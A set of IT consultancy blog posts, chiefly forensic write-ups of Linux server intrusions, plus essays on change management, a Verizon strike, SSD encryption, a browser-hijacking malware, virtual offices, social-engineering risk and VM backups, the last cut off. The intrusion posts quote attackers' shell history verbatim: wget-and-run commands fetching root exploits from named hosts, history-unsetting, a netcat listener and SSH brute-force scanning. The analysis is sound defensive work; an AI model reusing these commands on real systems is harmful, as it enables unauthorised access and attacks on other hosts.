Doing IT Right

by Bryon D Beilman

In my previous post Analysis of a Hack, I described a few different security issues that we discovered that were interesting and ides for best practices.  The process of doing forensic analysis of a hack sometimes means replicating the steps, software and process that the hacker used to determine what level of success that they had.   We support systems of all types and the industry norm is that people do not trust Microsoft operating systems to be secure or prefer Linux, especially when the servers are exposed to the Internet. I don’t necessarily share this point of view and the security of any system really depends on how well it is managed.

A number of years ago, I put my first Exchange Server in and the design was to have a front end OWA/SMTP relay and a back end MS Exchange server.  During the design, I was initially hesitant to use a Microsoft OWA/IIS front end, and was considering using a linux based HTTP/SMTP proxy.   After doing some research, I stuck with the Microsoft solution.  During the course of that deployment, I analyzed and paid particular to the IIS logs, firewall logs etc to see what happened.  In that configuration only https and SMTP were exposed from the Internet.   The thing that surprised me was all of the hack/script kiddie attack attempts were all for php and Linux vulnerabilities and not for IIS or Microsoft vulnerabilities.  We kept the servers patched, protected from viruses and we never had an issue.   This brings me to the current analysis, where all of the security vulnerabilities attempted were for legitimate operating systems vulnerabilities with the Linux kernel or exploits with Linux services. Had they succeeded, they would have had full root privileges on the server.   So on to the analysis.

What the Hacker tried to do:

In order to analyze this , I created a new VM and then took apart the scripts and binaries to try and figure out what they were trying to do.

Looking at the logs  from the previous attack.

Attempt 1:  Redhat Sendpage Vulnerability

wget http://www.kidu.go.ro/r00t.tar ;

tar xvf r00t.tar ;

chmod +x * ; ./r00t ; ls

rm -rf *

ls

cd .ssh

cat k*

ls -al

The r00t.tar consists of

linux-sendpage

This is the meat of the process.  It is a linux ELF binary , so I had to try to run it with a trace and look at is using strings and strace to figure out what it tries to do.   My best estimate is that it tries to write into the memory map (overwrite a buffer) to run /bin/sh as root.  If this works, then the hacker runs port and other utilities to set up more permanent connections as a privileged user.   linux_sendpage refers to trying to manipulate a page in the systems memory.

  port

this is a shell script that copies the sshd_config over to /etc/ssh and restarts the ssh daemon

r00t

A shell script, with fancy colors that runs ./linux-sendpage and reports success or failure

sshd_config

a new sshd_config file that allows root and listens on port 7000

Since my attacker did not try to run port, and the sshd_config remained unchanged, then it is most likely safe to assume that this did not work for them. They also just deleted the code since it didn’t work.

More details: http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c

* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhance d Linux (SELinux) policy and
* the mmap_min_addr protection[2].

Reports from users who have been hit with this , see the following in their logs

Jul 26 09:52:56 server01 kernel: Pid: 29267, comm: linux-sendpage Tainted: P D (2.6.25.9-grsec #1)

Jul 26 09:52:56 server01 kernel: Process linux-sendpage (pid: 29267, ti=f26a6000 task=c85f1700 task.ti=f26a6000)

Attempt 2: Nelson

wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson

This exploit leverages three vulnerabilities to get root, all of which were  discovered by Nelson Elhage:

Luckily this is C code, and the exploits take advantage of code vulnerabilities in the kernel. This code was actually created to show the vulnerability in the kernels with intentional roadblocks to prevent script kiddies from doing what this person just tried. With a little more knowledge it could have been enhanced to perhaps succeed.

When run (on a system w/out vulnerabilities) it produces

[*] Failed to open file descriptors.

Attempt 3: Dude and others (another Redhat/CentOS 5 vulnerability)

wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010

The Files in this tar ball are below

“01  10  2010  ABftw  dude.sh  exploit.conf  linux  max.sh  new  pwn.sh  sloboz10  sux  xcron1.tar.gz”

dude.sh  – this is a shell script. The details of what it tries to do is here http://seclists.org/fulldisclosure/2010/Oct/257

It tries to get root access by taking advantage of a vulnerability in the $ORIGIN sequence in dynamic linking.

max.sh – this tries to take advantage of a vulnerability in crontab.  It checks , then if successful, it tries to manipulate  time  to grant elevated privileges. It may allow you to put your own crontab in root, which could be any script that makes an account with UID 0 or group wheel or any easy way to get root.

pwn.sh  – lame sploit using LD technique  – this sh script actually compiles the program in the script using  info from /proc/net/netlink then tries to elevate privs.

linux – this binary looks similar to linux-sendpage from the earlier attempt

new- binary that uses Linux vmsplice – it also tries to exploit a memory map vulnerability

2010 – appears to try to manipulate the actual /boot/System.map

Summary:

Looking at the vulnerabilities that were attempted to be exploited, it is very clear that keeping your Linux Servers patched is not only prudent and best practices but absolutely necessary.  Just because they are not internet facing does not mean they are protected. The numerous vulnerabilities in unpatched windows machines provided back door tunnels to remote servers, that hackers could then use to push the same code mentioned above to the Linux servers. If you have very sensitive data (ie, Government Secrets, or the formula to Coke), one vulnerability can be exploited to take advantage of another and shortly after , “everyone is making Coca Cola”.

by Bryon D Beilman

As IT consultants we get asked to help with network and computer related security issues.  It is rare (but refreshing) that we get asked to evaluate the current state of security and help them discover vulnerabilities before the bad guys do.    Over the past few months, we have investigated a few compromises that were interesting.In one case, the hacker wanted notoriety, and the other case , they wanted to compromise more targets.

Scenario one:  Owned by Skywalker

User is running a web business utilizing a well known hosting company. Their website is interactive and utilizes a few PHP based Content Management Systems (CMS), drupal and WordPress.  Their site change from an elegant site to the below. The below screenshot does not capture the true effort of the hacker named Sky-walker.  It was full of animated gifs and text moving in and out. It was attention grabbing.

Hacked by Sky-Walker

The web hosting site had good security measures in place.  The access to this site was through FTP and the PHP code for WordPress.  The WordPress software had not been updated in 4 years, nor was any security vulnerability testing done on any of the PHP code.   The site was done well by an outside company and after that this person could effectively use the dynamic publishing function to run their business, so there was, at the time,  no reason to change the code.

The site was recovered, code updated  and passwords locked down. Analysis of the logs helped discover the vulnerability. The takeaway from the hack of this site.

1. Use good Passwords (esp for unencrypted protocols like ftp).
2. Avoid FTP (and other unencrypted protocols)  if you can. If your provider supports sftp or anything encrypted to transfer files, use it.
3. Keep your code up to date. CMS code is no different than updating your computer. Since much of it may be open source and PHP based, alot of hackers can find vulnerabilities, so close the holes before they find them.
4. Backup early and often.  Having good backups of your website files and database is very important. If it is hosted, there are ways to automate this and keep the files in an alternate location.

Scenario two: Even The Romanians like the Simpsons

In the next instance, the site was going to go live, but was not there yet. The person was building it on an Amazon EC2 instance.  Amazon reported that they were seeing port scans from this host to other hosts. Logging on to the host a preliminary analysis using netstat ,lsof  did not show anything anomalous. Installing and running root kit analysis programs was also not that fruitful. The host based firewall was configured to only allow specific ports (for the service being delivered), but also included ssh.

The log files, however gave a clue

/var/log/messages: host kernel: [2985475.292985] scanssh[25512]: segfault at 9332000 ip 080487f9 sp bfdd8a00 error 6 in scanssh[8048000+cc000] 

Spending time analyzing the system, I found a hidden directory.

/var/tmp/…/gosh

This was a great find, those of you who don’t know UNIX/LINUX. The “.” files are hidden files and the “.” directory means, the current directory, the “..” directory indicates the parent directory and the “…” or “….” directories do not mean anything, they just don’t catch your eye when you look at the directory.

What was in the directory?  Well the hacker’s tools of course?

drwxr-xr-x 2 usr usr 4096 Dec 4 10:19 ./
drwxr-xr-x 3 usr usr 4096 Dec 3 18:30 ../
-rwxr-xr-x 1 usr usr 14 Nov 29 2010 1*
-rwxr-xr-x 1 usr usr 15 Nov 29 2010 2*
-rwxr-xr-x 1 usr usr 16 Nov 29 2010 3*
-rwxr-xr-x 1 usr usr 12 Nov 29 2010 4*
-rwxr-xr-x 1 usr usr 11 Nov 29 2010 5*
-rwxr-xr-x 1 usr usr 1287 Feb 10 2009 a*
-rwxr-xr-x 1 usr usr 22354 Dec 1 2004 common*
-rwxr-xr-x 1 usr usr 265 Nov 24 2004 gen-pass.sh*
-rwxr-xr-x 1 usr usr 94 Jul 26 2008 go.sh*
-rw-r--r-- 1 usr usr 1588217 Dec 4 10:18 mfu.txt
-rw-r--r-- 1 usr usr 25507 Nov 30 16:03 pass_file
-rwxr-xr-x 1 usr usr 21407 Jul 21 2004 pscan2*
-rwxr-xr-x 1 usr usr 4822 Nov 25 2010 scam*
-rwxr-xr-x 1 usr usr 302240 Nov 25 2010 screen*
-rw-r--r-- 1 usr usr 1320850 Dec 4 11:36 screenlog.0
-rwxr-xr-x 1 usr usr 197 Aug 23 2005 secure*
-rwxr-xr-x 1 usr usr 453972 Jul 12 2004 ss*
-rwxr-xr-x 1 usr usr 842736 Nov 24 2004 ssh-scan*
-rw-r--r-- 1 usr usr 83 Dec 3 21:53 vuln.txt

What did they do?

Well, they were not that sophisticated, and I edited out their typos which will be included below.  Essentially they did the following:

• Download and compile some tools to the compromised host in the hidden directory.
• Stage one was to try to get into root, elevate privileges and compromise host
• Second stage was to compile scan tools to try and and find other hosts to compromise
• Port scan and ran brute force password trials on other hosts in their attack lists.
• Lather , rinse, repeat

A Deeper Look:

Download tools to try and elevate privileges (ie , get root).  They downloaded some tools from 4-5 places where they had things stashed away, compiled them, ran the tools and when they didn’t work, removed them.  We were able to download and try the same tools , which let us verify that they didn’t work on our particular host.

     6  18:28   uname -a
     7  18:29   cd /tmp ; mkdir ... ; cd ...
     8  18:29   wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson
     9  18:29   unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    10  18:29   wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010
    11  18:29   wget http://www.kidu.go.ro/x86.sh ; chmod +x x86.sh ; ./x86.sh
    12  18:29   wget http://drugs.altervista.org/a.x ; chmod +x a.x ; ./a.x ; rm -rf a.x ; cd /tmp ; rm -rf ...
    13  18:30   cd ~
    15  18:30   wget http://www.kidu.go.ro/r00t.tar ; tar xvf r00t.tar ; chmod +x * ; ./r00t
    16  18:30   ls
    17  18:30   rm -rf *

This next attempt was interesting to me. They hide tools in a file called g.jpg (again, to alleviate suspicion ).  Untar /gunzip the jpg and then start to use the tools to scan other hosts.

    31  18:30   cd /var/tmp ; mkdir ... ; cd ... ; wget claubv.99k.org/g.jpg ; tar zxvf g.jpg ; rm -rf g.jpg ; cd gosh ; chmod +x * ; wget claudinbv.altervista.org/pass_file12 ; mv pass_file12 pass_file
    32  18:30   screen -L
    33  18:30   wget claudinbv.altervista.org/tari1
    34  18:30   mv tari1 mfu.txt
    35  18:30   ./ssh-scan 300
    36  18:40   cat screenlog.0 | grep rins
    37  18:40   screen -r

36  18:40   cat screenlog.0 | grep rins
    37  18:40   screen -r
    38  18:40   screen -r
    39  19:45   ls
    40  19:45   cat mfu.txt
    41  19:45   wget claudinbv.altervista.org/tari1
    42  19:45   cat tari1
    43  19:46   rm -rf tari1
    44  19:46   screen -r
    45  21:16   exit
    46  0:55    w
    47  6:56    unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    48  6:56    cd /var/tmp/.../gosh
    49  6:56    screen -r
    50  6:56    cat screenlog.0 | grep rins
    51  6:56    screen -r
    52  6:58    wget claudinbv.altervista.org/sloboz2 ; rm -rf mfu.txt ; mv sloboz2 mfu.txt ; ./ssh-scan 300
    53  7:00    screen -r
    54  7:07    ls
    55  7:07    cat mfu.txt
    56  7:08    wc -l mfu.txt
    57  7:08    ./ssh-scan 100
    58  7:32    ls
    59  7:32    rm -rf mfu.txt
    60  7:32    wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 300
    61  8:02    nc 0l 1111
    62  8:02    nc -l 1111
    63  8:46    wget claudinbv.altervista.org/sloboz3 ; rm -rf mfu.txt ; mv sloboz3 mfu.txt ; ./ssh-scan 100
    64  9:26    cat mfu.txt
    65  9:26    ls
    66  9:29    wget claudinbv.altervista.org/sloboz4 ; rm -rf mfu.txt ; mv sloboz4 mfu.txt ; ./ssh-scan 100
    67  9:30    screen -r
    68  10:08   ls
    69  10:08   rm -rf mfu.txt
    70  10:19   wget claudinbv.altervista.org/65 ; mv 65 mfu.txt ; ./ssh-scan 300
    71  11:36   ls
    72  11:36   exit
    73  11:36   cd ..
    74  11:36   cd ..
    75  11:36   rm -rf gosh
    76  11:36   exit
    77  21:14   unset HISTFILE HISTSAVE HISTZONE HISTLOG HISTORY WATCH
    78  21:14   cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
    79  21:14   screen

**Note: the nn.nn's were changed to protect the IP's of those being scanned for this article.
    80  21:14   ./x nn.nn
    81  21:18   ./x nnn.nnn
    82  21:24   ./x nn.nn
    83  21:30   cd ..
    84  21:30   rm -rf .s
    85  21:30   cd /var/tmp ; wget claudinbv.altervista.org/s.tgz ; tar zxvf s.tgz ; rm -rf s.tgz ; cd .s ; chmod +x *
    86  21:30   ./x nn.nnn
    87  21:31   ./x nnn.nn
    88  21:46   ./x nn.nn

 89  21:53   exit
    90  21:53   cd ..
    91  21:53   rm -rf .s
    92  21:53   exit

They ran the scans, perhaps copied the results and went to the next host.

Post Analysis

Since the compromise was discovered, and the attacker did not get root, they could not cover up or delete the logs. Even the attempt to unset HISTFILE did not remove the history file.  Looking at the log file, it was clear that the 10′s of thousands of attempts on ssh login was able to exploit a weak password.  Firewalls, encrypted protocols and locked down files and permissions were all thwarted by a weak password and brute force trying of passwords to ssh.

So what does this all have to do with the Simpsons?

There were two interesting expressions buried in some of the log files and code we reviewed.

Toata dragostea mea pentru diavola!!!!!!   – Interestingly enough, this  is Romanian. It means approximately “All my love is for the devil”. …

The other nugget was in a piece of code that was found. I found a rough translation for most of it, which didn’t make much sense.  The last word…. Pure Homer Simpson.

echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..

Needless to say, the site was secured, locked down and measures put on the site so that it wouldn’t happen again.   Getting this kind of data about what they did is not always available, and worth sharing.

“Dohh”

by Bryon D Beilman

Back in 2007, I wrote about  The Value of Change Management  as it relates to managing IT systems. Now, four years later,  I still believe it is one of the most important processes for any IT team, yet one of the most poorly executed.  As an IT  consulting company, we are often brought in when companies are having reliability issues, or for one reason or another their IT has spiraled out of their control and they need help and fast.  We label this our “Chaos to Clarity” service.  It doesn’t have to be chaos, but it may just be that the customer spends more time putting out fires than moving the business forward or it has become overly complex and unsupportable within the allocated budget.

Networks, applications and core infrastructure can be fun to design and we have seen very nice diagrams of the way it was set up and perhaps even support documents of how to manage the system or application.  Most of the time, though, the documents are out of date, numerous changes were made and the person who made the changes is no longer around and the people around them do not recall why or how things were changed.   Even after demystifying the environment and creating operational procedures for companies, we suddenly realize that the service or database was moved, and the operational procedures, monitoring and documents were never changed.   This may happen because of overworked IT staff , or perhaps that implementing technology is much more fun than updating documents, but we consistently find that this one function is not done well and if it was done well, it would save them alot of time in the future.

CMDB, the Change Management DataBase was designed to help manage this process.  It captures information about changes, incidents, availability, capacity and supports the ITIL operational model.  If done well, it also helps automate and detect changes that happen and perhaps alert someone that a change has occurred so that processes can be updated.

There are many articles out there, however that write about how difficult it is to implement the commercial CMDB systems and many large corporations sometimes abandon it after they have spent alot of time and money on it. The Open source options can be just as difficult as it requires gluing lots of applications together and it is difficult to get that “single pane of glass” view for the state of the system or network.

Regardless of product, change management is a process and at it’s core, it doesn’t have to be difficult, it just needs to be done consistently.

by Bryon D Beilman

Verizon is now on strike and although I have paid attention to various strikes, NFL lockout, NBA Players or the UAW,this one has an impact on me, my customers and for some reason has really gotten under my skin. I will say that I am not fully educated on both sides of the strike. I read what Verizon says on their website http://newscenter.verizon.com/2011-bargaining/ or an article from another site http://www.golocalprov.com/business/new-verizon-strike-nears-two-week-mark/. This basically says , Verizon is trying to cut costs, ask people to contribute to their benefits and try to remain competitive and the union is saying, WTF, the CEO makes more than 1000 times the average employee and Verizon paid 10 Billion to shareholders this year.

I am not going to argue that CEO pay for big companies is not out of whack, it is. If shareholders got paid, then I would suggest that those dedicated workers of Verizon invest in their own company, buy some stock and “get paid too”. As a business owner, I find that health care costs are going up and we are constantly working to try an provide the best health care for the best prices for our employees. One of the above articles says that most Verizon Union members pay nothing for their health care premiums. I haven’t been at a company in 15 years that has provided 100% premiums, actually ever, but I say 15 years, because I cannot be certain. This, however, doesn’t bother me that much, because what really bothers me is the following:

Customer A

One of my customers, Customer A, had been planning to move to a brand new location, and we worked with them to migrate their IT infrastructure and services to the new location. We had redundant Internet connections, but the phone service along with a fail-over DSL line was coming from Verizon. The week of the move, Verizon emails and says, “Sorry, we cannot help you due to the strike”. It doesn’t matter that the lease is up, and the phone numbers are linked to Verizon. It also doesn’t matter that the disconnect order is automated, and the reconnect order is a manual “union labor position” operation. So, they automatically disconnected the service and left their customer without ANY phone service.

What those passionately striking people do not realize is that this is the type of thing that spurns innovation and migration away from them so that Verizon services along with their jobs will soon not be needed. In the interim, we gave our customer a few of our IP phones, connected them to our VoIP/SIP server and service and gave them phone service over the primary non Verizon Internet connection. The CEO loved our flexibility and is so enamored with the service and Idea that we are working to perhaps migrate them fully to VoIP service.

Do you hear that Verizon workers? If you give bad service and do not offer a good value for the price, people will find a way to use someone else.

Customer B

Customer B is a much larger company and they use the Verizon Data Center in Billerica, MA by utilizing two 100MB Pipes and 10 racks for servers along with managed firewall and IDS/IPS services. I do not know what they pay, but based on simple math of $1000/rack/month *10 plus Internet & Managed services, I would guess that is somewhere around $250k/year of regular revenue from that one customer.

We go to the data center weekly to just walk through, swap bad power supplies, disks or whatever needs to be done. The Verizon strikers, those crafty guys are picketing in front of the security gate at this site. They walk in front of my car a few times, the cops direct me to wait for a bit, then go. While I was waiting, I attempted to take a picture with my cell phone, which unfortunately got blurred, then one of the strikers flipped me the bird and said “take a picture of that”. I have to roll down my window to give my credentials to the security team over a microphone to open the gate. The stikers are looking at me and I am nodding at them, and one striker is yelling at me saying “don’t nod at me you scab” and then gives me the bird again.

OK, that was interesting, the Verizon strikers are now insulting their customers. Doing a Google search, I quickly found 18 data centers in the Boston area Data Center Map . Again, without knowing the full issues that are going on about the strike, do the strikers really want this customer to take their $250K/yr and give it to Savvis, NEDS, XO or somewhere else?

This is bad business for Verizon and to be honest, as an IT consulting company who is paid to provide sound advice to their customers, I am not sure that recommending Verizon would be sound advice.

by Jeff Ouellette

Being a consultant and working for many organizations, we get exposed to a number of environments and quite a bit of sensitive data.  While we are careful not to keep a lot of client data on our laptops (most of which is located in our datacenter or left on the client network), the security of the data that does reside on our laptops is paramount.  In the past, we have been reliant on whole disk  encryption from Truecrypt (an open source industry standard encryption tool) .

In whole disk encryption,  the entire hard drive including the data, the program files, the applications and even the free space is encrypted and a password is required during the boot process to unlock the drive and to decrypt each block as it is required.  As you can imagine, this results in a significant performance degradation as the system needs to decrypt each block before it’s used and encrypt each block before it’s written.  In many ways, this process is relatively secure in that the hard drive couldn’t be taken out of the computer and read in another one.  Unfortunately, it also meant that you could not use many of the recovery tools for when the operating system had issues or corruption, nor could you use a program like Acronis or Ghost for disk imaging without copying each sector of the disk (making images very large and removing the efficiencies of dedupe and compression).  The advantages, of course, was that we didn’t need to think about where sensitive data was stored or whether it was in an encrypted area.  Everything was encrypted, so it was a safe and easy way of both being secure and not having to think about it.

Enter solid state drive (SSD) hard drives.  A solid state drive is significantly faster than a traditional platter based hard drive for reading data.  It has no moving parts, it’s significantly quieter and it uses less power.   Sounds perfect for a laptop, right?  Yes, but it comes with it’s challenges too.  For one, it runs significantly more expensive  than a comparable traditional drive and they  come in much smaller capacities.  Second, while write speeds are on par with or slightly less than traditional drives, the number of writes you can make to the disk is limited.  Testing has shown the average lifespan of a SSD to be 3-5 years because in essence you wear out sectors on the drive and that data needs to be moved to a sector that doesn’t have as much wear.

The Dilemna.  Given the difference in how solid state drives operate from traditional drives, you can probably see that whole disk encryption is no longer the best option.  First, solid state drives run optimally when you leave a number of sectors free so that data can be reassigned when a sector is used too many times.  Whole disk encryption uses every sector (it encrypts free space as well) and often changes a number of sectors on different places all over the disk so that it makes reassembling the data more difficult as well as identifying the data.  Second, whole disk encryption increases the number of writes on the disk and with the limited writes of a solid state drive , you could in fact reach the end of life on the solid state drive much sooner.

The Solution.  Utilize a second drive that can be encrypted or create a virtual encrypted drive as a file inside the solid state drive.  Obviously the first option is a better solution because it allows you to use a traditional drive for the data that changes the most, but the second option also provides advantages over whole disk encryption.  In both scenarios, you get performance increases and the benefit of using native tools to deal with backup, imaging and recovery tools.  You also get the benefit of properly managing free space on your solid state drive and potentially less write operations.  So how do you make sure that you have all your important client data backed up?  With Microsoft Windows 7, you can redirect almost every area of the user profile such as the Desktop, Documents, Music, Videos, etc as well as Microsoft Outlook cache files and other transient data so that you can be sure that client data is encrypted.  The trick is to do the work of determining where all the sensitive data resides, not just the data, but any cache and temporary files that could have value if the laptop were lost or stolen.  Of course, moving the data to another drive is no substitute for having a good backup process.  In fact, anytime you are using encryption, your backups become even more important.

by Bryon D Beilman

msiexec.exe - This is one of those applications that you may see running when you install software and is an important file. It is typically found in C:\Windows\system32 directory. But what about msiexecs.exe ? Well, I discovered this when someone I know needed help with their PC because they “Couldn’t get to the Internet”. Before I describe what is is, I wanted to mention that it didn’t look right to me, but to the casual untrained user, it looks very similar to msiexec.exe and if you google msiexecs, you might even get references to the real one. This is on purpose, to fool the user. Now in this case Windows 7 was smart enough to realize that when they tried to launch a browser and instead it was launching msiexec.exe -sb first, and the application was not a signed and valid app, it warned them. Did that keep them from moving forward? “Heck no, just click through it?”

It turns out that this is a pretty bad piece of malware. What is surprising to me was that their antivirus was up to date and a scan did not discover it. MalwareBytes, one of my favorite antimalware programs also did not catch it.

What happens is that they got this program c:\windows\system32\msiexecs.exe installed as a malware and then there were bogus Registry entries put in
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Browser/Debugger

Under Browser,they had every known browser (Internet explorer, firefox, opera, chrome) with one entry in the registry for each.

If you removed the file, the browser still didn’t work,because it could not find the file referenced in the registry. If you did let it through, it most likely grabbed your information, opened a door to another host and shared your information with the world.

It turns out that deleting the file AND removing each of the registry entries fixed the issue, but it was done by hand and not by any leading antivirus/anti-malware program.

Beware of things that look similar to something normal and be safe and wise, don’t click through things that Microsoft and security programs are trying to warn and protect you.

by Bryon D Beilman

With the ubiquity of high speed broadband networks, fast, multi-core laptops and inexpensive, large LCD monitors, it is common for workers to be very productive in their own home; sometimes more productive. What used to be a perk is now becoming commonplace and companies that used to worry about not being able to see or control their employees are now reducing their corporate footprint and moving to growing their work force virtually instead of building or leasing more property. For the last 4 years, our company has been virtual and although some parts of it can be challenging, it has allowed us to be both flexible and effective. To leverage this business model, proposed are the top 5 technologies to help you virtualize your business.

1) Managed Services – Email is the staple of most corporate communication. There are free and cheap webmail, POP or IMAP service to help basic users. Exchange and Shared Calendaring are no longer available only to corporate users. You can have a fully functional Email/Calendering and communication via Managed Microsoft Exchange. You can manage your business with Quickbooks online, Autotask or Saleforce.com or one of any other software as a Service. While it has been very easy to get a high quality inexpensive web site, there are now many PaaS (Platforms as a Service), for environments like Ruby on Rails, Drupal or other technologies that allow you to support remote development activities. Don’t forget, of course Google with Google Docs, Mail and a myriad of other services that allow you to inexpensively collaborate and share information. When a technology becomes useful and popular there are many specialists who are focusing on providing that service and they focus on it so it is typically done better and cheaper than you could do it on your own.

2) Data Center our Cloud Computing – Depending on what your business model is, you no longer need to own your data center and can leverage numerous cloud offerings from Amazon, Rackspace, Microsoft, Redhat or Verizon. It is difficult to throw a rock without hitting a new cloud service. Amazon provides some free virtual machines for one year to get started and with very little effort, one can provision and customize a server or service to get you started. If you require or desire more granular control over your environment, renting space in a data center is no longer an expensive proposition. You can host your own servers or services in a data center with high speed, low latency connections that have redundant power and cooling. If you have ever priced out building a highly available environment, you know that it can be very expensive. A managed data center provides this for a reasonable cost.

3) Remote Applications – There are some great remote access utilities that give you both terminal, GUI and specific applications that are hosted remotely and available locally. If you use a server in a data center or the cloud there are many great remote applications and protocols that will help you get your job done. For those in the UNIX world, VNC Server has been standard for quite some time and NoX has been making great strides as an alternative. NoX also supports 3D, which VNC does not. A few sgood commercial options are Exceed on Demand and Citrix for Linux access. For Microsoft access, I have been very impressed with two technologies. Terminal services has been around for quite some time, but Microsoft finally got it right with Remote Application and Terminal Services. I can now run a single application on my desktop that is actually running on a remote terminal server, something that has been available via X-Windows for decades, but Microsoft has done it better. This applies to anything you can run on a terminal server and it works over SSL, so it is possible to authenticate via Active Directory and communicate over encrypted SSL without the need for a VPN. The other Microsoft Technology that works well is OneNote. You can centralize your Notes in a collaborative fashion and everyone can contribute to them real time. They information is searchable and updates happen nearly instantaneously. I will mention briefly, VDI (Virtual Desktop Infrastructure), which is now available from many vendors but has promise to work well over a high speed low latency WAN.

4) VoiP Phone – However you choose to implement this, you no longer need a large and proprietary phone system to have the same functionality found in larger corporations. You can use IP Phone SaaS or build and configure an asterisk based system in your data center or the cloud. Each remote user can have a phone with a Direct number or Extension, voicemail, conference calling and the ability to transfer calls between each other. There are many commercial and open source options to choose from.

5) Quality Internet Connection - The original premise of creating a virtual office is that you already have fast Internet. There are of course minimum requirements for using the services. Bandwidth and speed are important, but for some of technologies , such as VoIP , latency and consistency of connection are perhaps more important. If you choose to host your services in a data center, then you have more control over the latency and consistency of your connection, whereas using cloud services, the latency and Quality of Service (QoS) may not be as reliable as you need. Hosting a web site where requests are TCP connections serving bits and pieces of an HTML and jpg page is different than providing a smooth stream of digital voice that can be clearly heard on each side. A proper marriage of remote applications and a properly provisioned Internet connection will be essential to be effective in your virtual venture.

Whatever operational model is right for you will depend on what you are trying to accomplish, but going virtual is a valid way to build an effective and successful company.

by Bryon D Beilman

Social Media is so pervasive in the way businesses,friends and family communicate that it has really enabled people to stay connected, share and communicate with people with whom they ay not normally stay connected. Blogs, LinkedIn, Facebook and Twitter all provide different ways to share information. Personally, I use all of them, and in different ways. You are reading this blog where I am sharing nuggets I find valuable, LinkedIn has been valuable for keeping in touch with all the people I meet via business transactions and I use Facebook to keep up with Family and Friends. I am sure I am not alone, but as we help companies and of course family and friends with computer security issues, we find many dangers in the social media world. I would like you to envision the following scenario.

“Hello, thank you for calling Visa, this is Sam, how can I help you?”
“Yes, this is Veruca Salt, and I changed my address and need a new credit card”
“OK, Ms. Salt, I can help you, but we need to verify a few things, what is your credit card number?”
“Of course, it’s 1111-2222-3456″
“Thank you, and please verify your current address”
“1212 Hamburg Place, Sweetwater, Wyoming, 02345″
“Thank you and would you please tell us your mothers maiden name?”
“Wonka”
“Your date of birth?”
” May 2, 1965″
“Ok, can you tell me the name of your high school”
“Smeltsville High”
“OK, and since you are doing two changes, we have one more question. What is the name of your first Pet?”
“Tralfaz”

Super, Ms. Salt, give me your new address and I will send you a credit card to that address”

Ok, so you may know where I am going with this, but someone glanced at a person’s credit card in a diner, and used their camera phone to capture the information. But they really wanted to buy something on that credit card, send it to a fake address and get some valuable goods. So they found that poor Veruca was “all about Facebook”. She friended her mom, who was friends with her brother (Veruca’s uncle, “Fred Wonka”). She also is part of the Smeltsville High Alumni Facebook group and talked about her first Dog Tralfaz on her blog site, in a very memoral and touching story. All her friends were wishing her Happy Birthday on Facebook on May 2nd and even though she didn’t list her year, the Smeltsville, Class of 1983 were talking about getting together and she said she couldn’t make it. You can see that she likes the “Sweetwater, Wy Winter Carnival”. A quick Google search on public records, shows how she bought a house at 1212 Hamburg Place in 2007.

A common trick is to order something online, like some computers, have it shipped to a real address of someone they know works during the day, and with shipping tracking, someone can walk minutes behind UPS, grab their computers and now poor Veruca has to explain how she never really moved to Sleepmute and did not indeed order 5 laptops.

Parts of these elements have happened to various people I have known, so it’s very possible. It’s fun to share and be part of a social community, but consider what you share publicly and even privately. You cannot control Google’s access to public data but there are alot of things in your control. People worry about young adults sharing more than they should about relationships, parties and things that could affect future jobs. The ordinary, upstanding citizen like Veruca can make themselves vulnerable by just sharing things on-line that they would share in a conversation with their friends.

Be safe, be smart and protect your information.

by Bryon D Beilman

Virtual machines can be a great way to consolidate your environment, provide redundant services without buying more hardware and take advantage of underutilized services.  I have written about Virtual machines before indirectly as it relates to sizing hardware and planning for growth.

There are many hypervisors our there from Xen, Microsoft , Vmware and others.  We utilize Vmware when required, and there is quite a bit of capability in the free version that can be downloaded from their web site.  The commercial version of the software provides quite a bit of functionality to move Virtual Machines (VMs) around, provide availability and backups.  What about the free version (ie VMware 2.x)?  Well  there are two approaches to backing up virtual machines, “inside the VM” and “Outside of the VM”.

Inside the VM

The VM is like any other operating system, it can be backed up using back up clients and software. Netbackup, Backup exec, dump, cpio, tar, rsync, or whatever you would use on a conventional app.  If you have a database,  a unique application that you are required to guarantee a backup SLA, or your VM’s contain specific “state”,  then you need to consider this approach.  If you are providing front end servers, or your business requirements are such that you need for cheap or free backups overrides other requirements, you should consider the next approach.

Outside the VM

The virtual machines can be started, stopped, captured in a snapshot and reconfigured on the fly inside the VM management tools.    The VMs are really a series of files that are specified in a location by you during installation.  These .vm* files along with some logfiles, lock files and a few other files can be copied (outside of the OS ) using standard utilities.  I will give a simple example of how this can be done using VMWare running in a CentOS Linux environment.  In this example, what we will show is how you can have two machines a primary and secondary machine, while utilizing simple scripts can provide a cold (or even warm ) failover for DR or maintenance purposes. The other requirement is that it should be done with minimal interruption to the working environment and be reasonable automated.  VM’s can easily be taken down and copied, and this can also be done via the GUI, but automation is a better way to ensure that it happens and during night or weekend maintenance periods.

Example:

In our example below, our services are provided by vmserv1.  What we want to do  is backup and copy the virtual machines to from vmserv1 to vmserv2 such that you can have vmserv2 as a warm or cold standby server. This method should also allow you use the same process to do maintenance on vmserv1 while still maintaining the same services. Depending on how active your VM’s are , vmserver2 can be any host that has resources to run the VM’s and does not have the same performance requirements as vmserv1.

The process:

